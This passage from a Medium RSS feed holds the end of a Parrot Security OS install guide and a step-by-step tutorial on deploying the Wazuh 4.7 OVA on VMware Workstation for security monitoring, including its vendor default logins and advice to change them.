sudo apt upgrade -y</pre><p>This ensures all packages and tools are up to date — crucial for stability and security.</p><h3>✅ You’re Ready to Go!</h3><p>Congratulations! 🎉<br>You’ve successfully installed <strong>Parrot Security OS on VMware</strong>. You can now explore its powerful tools for penetration testing, digital forensics, reverse engineering, and secure browsing.</p><blockquote>💡<strong> Final Thoughts</strong></blockquote><blockquote>Parrot OS offers an excellent balance between <strong>performance, privacy, and security</strong>. Running it on VMware allows you to safely experiment with cybersecurity tools without risking your host system.</blockquote><blockquote>Stay curious, stay secure — and keep exploring!</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f32f7d036078" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Step-by-Step Guide to Installing Wazuh on VMware: Deploying the Wazuh OVA for Robust Cybersecurity…]]></title>
            <link>https://medium.com/@aquarz555/step-by-step-guide-to-installing-wazuh-on-vmware-deploying-the-wazuh-ova-for-robust-cybersecurity-8a93276a4064?source=rss-43952f5517cd------2</link>
            <guid isPermaLink="false">https://medium.com/p/8a93276a4064</guid>
            <category><![CDATA[wazuh]]></category>
            <category><![CDATA[vmware-workstation]]></category>
            <category><![CDATA[wazuh-ova]]></category>
            <category><![CDATA[vmware]]></category>
            <category><![CDATA[wazuh-installation-vmware]]></category>
            <dc:creator><![CDATA[Roman Zaib]]></dc:creator>
            <pubDate>Fri, 10 Oct 2025 11:12:25 GMT</pubDate>
            <atom:updated>2025-10-10T11:12:25.050Z</atom:updated>
            <content:encoded><![CDATA[<h3>Step-by-Step Guide to Installing Wazuh on VMware: Deploying the Wazuh OVA for Robust Cybersecurity Monitoring</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*k-WKgwO84fhblCnhoDpGAA.png" /></figure><p>Wazuh is an open-source security platform that provides unified XDR and SIEM capabilities, enabling organizations to monitor, detect, and respond to cyber threats effectively. Its flexibility and comprehensive feature set make it a go-to solution for cybersecurity professionals. In this blog, I’ll walk you through the process of deploying Wazuh on VMware Workstation 17 Pro using the Wazuh 4.7 OVA file. This step-by-step guide is designed to help GRC and cybersecurity practitioners set up a Wazuh instance efficiently, ensuring a solid foundation for security monitoring and compliance with standards like ISO 27001.</p><h3>⚙️<strong>Prerequisites</strong></h3><p>Before you begin, ensure you have the following:</p><p>1️⃣VMware Workstation 17 Pro installed on your system.</p><p>2️⃣A stable internet connection to download the Wazuh OVA file.</p><p>3️⃣Minimum system requirements: 4GB RAM and 2 CPU cores available for the virtual machine.</p><p>4️⃣Basic knowledge of VMware and networking concepts.</p><h3>🧩<strong>Step-by-Step Installation Process</strong></h3><h4><strong>Step 1: Download the Wazuh OVA File</strong></h4><p>1️⃣Open your browser and search for “Wazuh” on your preferred search engine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*yVGNN1C_BtIh3b-aQRgWgw.png" /></figure><p>2️⃣Click the first result, which should direct you to the official Wazuh website (https://wazuh.com).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*QApZzdx7gTEer2XAJPwdng.png" /></figure><p>3️⃣Navigate to the Documentation section from the homepage. In the documentation menu, locate and select Installation Alternatives.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*4xUWr6pYM4LcTamMuGHqBA.png" /></figure><p>4️⃣Choose the Wazuh Virtual Machine (OVA) option. By default, the documentation may display the latest version (e.g., 4.8). Use the version dropdown in the top-right corner to select Wazuh 4.7.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*M_-5dh-w3uYhP_NZ3tqZ2Q.png" /></figure><p>5️⃣In the Packages List table, find the OVA file link for Wazuh 4.7 and click to download it. The file size is approximately 1–2 GB, depending on the version.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*qUCJ_IbjtR-QjdISPy88Ng.png" /></figure><h4><strong>Step 2: Set Up a New Virtual Machine in VMware</strong></h4><p>1️⃣Launch VMware Workstation 17 Pro on your system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*9qk4szCQAeLEEcDhDVYvtw.png" /></figure><p>2️⃣Click File &gt; New Virtual Machine to start the VM creation wizard.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*4RcW5y1ARt_kKym_DZKfJg.png" /></figure><p>3️⃣Select I will install the operating system later and click Next. Choose Linux as the guest operating system and select Ubuntu 64-bit (or the appropriate OS version specified in the Wazuh OVA documentation). Click Browse and locate the downloaded Wazuh 4.7 OVA file. Specify a name for the virtual machine (e.g., “Wazuh-4.7”) and set the storage path where the VM files will be saved.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*Mb5RK2ddVteF3vw2VieXHQ.png" /></figure><p>7️⃣Click Import to begin importing the OVA file into VMware. This process may take a few minutes, depending on your system’s performance.</p><h4><strong>Step 3: Configure Virtual Machine Settings</strong></h4><p>1️⃣Once the import is complete, select the newly created VM in VMware and click Edit virtual machine settings. Configure the following settings:</p><p>2️⃣<strong>Memory: </strong>Allocate 4096 MB (4 GB) to ensure smooth performance.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*BuXcu4kdnRICPAKNwxdVSA.png" /></figure><p>3️⃣<strong>Processors: </strong>Assign 2 CPU cores to the virtual machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*W2UaomPiok56EMv1e7HeIQ.png" /></figure><p>4️⃣<strong>Network Adapter: </strong>Set to Host-Only mode to isolate the VM’s network for initial setup and testing. This ensures the Wazuh instance communicates only with the host machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*sgD4caGMHz-KaeVoroUDpw.png" /></figure><p>5️⃣Review other settings (e.g., disk size, which is pre-configured in the OVA) and click OK to save.</p><h4><strong>Step 4: Power On the Virtual Machine</strong></h4><p>1️⃣Select the Wazuh VM in VMware and click Power on this virtual machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*MORfDqt3-MzrS_pHpeFr2Q.png" /></figure><p>2️⃣The VM will begin loading the Wazuh system. This may take a few minutes as the system initializes.</p><h4><strong>Step 5: Log In to the Wazuh VM</strong></h4><p>1️⃣Once the VM boots, you’ll be prompted with a login screen. Use the default credentials:</p><p><strong>Username: </strong>wazuh-user</p><p><strong>Password: </strong>wazuh</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*RwK8qxXIM50qA5ApdGgurA.png" /></figure><p>3️⃣After logging in, the Wazuh system should be fully operational.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*nJWeqPHCd8ADiUGBOTtoPw.png" /></figure><h4>Step 6: Access the Wazuh Web Interface</h4><p>1️⃣Check the IP address assigned to the Wazuh VM:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*eDFwOrt1PqDvk-ucWfhxsg.png" /></figure><p>2️⃣In the VM’s terminal, run the command ip addr or ifconfig to identify the IP address (e.g., 192.168.172.128). Note the IP address for the next step. On your host machine, open a web browser and navigate to https://&lt;VM-IP-ADDRESS&gt; (e.g., <a href="https://192.168.172.128)./">https://192.168.172.128).</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*gyAG1UCYMw4MStSlGOFq7w.png" /></figure><p><strong>Note: </strong>You may encounter a browser warning about an untrusted SSL certificate. This is normal for a default Wazuh setup. Accept the warning to proceed (in a production environment, configure a trusted SSL certificate).</p><p>3️⃣Log in to the Wazuh web interface using the default credentials:</p><p><strong>Username: </strong>admin</p><p><strong>Password:</strong> admin</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*_eat4740Gqh5RTHloPs_vw.png" /></figure><p>4️⃣Upon successful login, the Wazuh dashboard will appear, providing access to its SIEM and XDR features, including threat detection, log analysis, and compliance monitoring.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*iU1pXJ0h57LM3ownDSNEmw.png" /></figure><h3>✅<strong>Post-Installation Steps</strong></h3><p>1️⃣<strong>Change Default Credentials</strong>: For security, immediately update the default wazuh-user and admin passwords via the Wazuh dashboard or VM terminal.</p><p>2️⃣<strong>Network Configuration: </strong>If deploying in a production environment, switch the network adapter from Host-Only to NAT or Bridged mode, depending on your network requirements.</p><p>3️⃣<strong>Agent Enrollment: </strong>To monitor endpoints, configure Wazuh agents on your target systems and enroll them with the Wazuh manager using the documentation.</p><p>4️⃣<strong>Compliance Alignment:</strong> Map Wazuh’s capabilities (e.g., log monitoring, file integrity monitoring) to ISO 27001 controls like A.12.4 (Logging and Monitoring) to support your GRC objectives.</p><h3>🛠️Troubleshooting Tips</h3><p>1️⃣<strong>VM Fails to Boot: </strong>Ensure the allocated memory and CPU resources meet the minimum requirements. Check the OVA file integrity if issues persist.</p><p>2️⃣<strong>Web Interface Inaccessible:</strong> Verify the VM’s IP address and ensure the Wazuh services are running (sudo systemctl status wazuh-manager in the VM terminal).</p><p>3️⃣<strong>SSL Warning: </strong>For testing, accept the self-signed certificate. For production, configure a valid SSL certificate using Let’s Encrypt or your organization’s CA.</p><blockquote><strong>Why Use Wazuh for GRC and Cybersecurity?</strong></blockquote><blockquote>Wazuh’s robust features, such as real-time threat detection, vulnerability management, and compliance reporting, make it an excellent tool for organizations pursuing ISO 27001 certification. Its open-source nature ensures cost-effectiveness, while its scalability supports small to enterprise-level deployments. By following this guide, you’ve set up a Wazuh instance ready to enhance your security posture and streamline GRC audits.</blockquote><h3>💡<strong>Conclusion</strong></h3><p>Deploying Wazuh on VMware using the OVA file is a straightforward process that empowers cybersecurity professionals to establish a powerful monitoring platform. With the steps outlined above, you can have Wazuh up and running in under an hour, ready to tackle 2025’s cyber threats. Stay tuned for more blogs in my cybersecurity series, where I’ll dive into configuring Wazuh agents, integrating with compliance frameworks, and optimizing for advanced threat detection.</p><p>For further assistance, refer to the official Wazuh Documentation or reach out in the comments below!</p><p>#Wazuh #WazuhInstallation #VMWare #WazuhOnVMWare</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8a93276a4064" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>